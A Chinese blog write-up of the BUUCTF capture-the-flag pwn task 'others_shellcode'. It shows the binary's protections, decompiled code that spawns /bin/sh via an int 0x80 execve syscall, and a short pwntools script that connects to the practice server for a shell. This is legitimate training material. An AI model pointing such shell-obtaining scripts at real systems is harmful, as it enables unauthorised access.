BUU刷题-Pwn-others_shellcode

最新推荐文章于 2024-05-07 16:02:29 发布

Brinmon

最新推荐文章于 2024-05-07 16:02:29 发布

阅读量173

点赞数

分类专栏： BUU_pwn解题wp 文章标签：网络安全

本文链接：https://blog.csdn.net/qq_65474192/article/details/131669418

版权

BUU_pwn解题wp 专栏收录该内容

32 篇文章 0 订阅

订阅专栏

文章介绍了如何在无需栈地址、LIBC地址等传统依赖的情况下，通过分析题目提供的ELF可执行文件，利用int0x80或syscall实现系统调用，从而在给定环境下利用核心伪代码进行内存溢出攻击并获取shell。

摘要由CSDN通过智能技术生成

解题思路：

泄露或修改内存数据：

堆地址：无需
栈地址：无需
libc地址：无需
BSS段地址：无需
劫持程序执行流程：
获得shell或flag：[[利用int 0x80 OR syscall(系统调用号)]]

学到的知识：

题目信息：

┌──(kali㉿kali)-[~/Desktop]
└─$ file others_shellcode 
others_shellcode: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c1e8d8e26946c6b08794abdad991e3909e1bdc7f, not stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=others_shellcode 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   72) Symbols       No    0   0others_shellcode

libc版本：
wp借鉴：(24条消息) [BUUCTF-pwn]——others_shellcode_Y-peak的博客-CSDN博客

核心伪代码分析：

存在利用的的代码：

int getShell()
{
  int result; // eax
  char v1[9]; // [esp-Ch] [ebp-Ch] BYREF

  strcpy(v1, "/bin//sh");
  result = 11;
  __asm { int     80h; LINUX - sys_execve }
  return result;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  getShell();
  return 0;
}

分析：

系统调用号，nc即可获得shell

脚本：

from pwn import *
context(log_level='debug',arch='i386',os='linux')

pwnfile='./others_shellcode'
sh=remote('node4.buuoj.cn',29881)
#sh=process(pwnfile)

sh.interactive()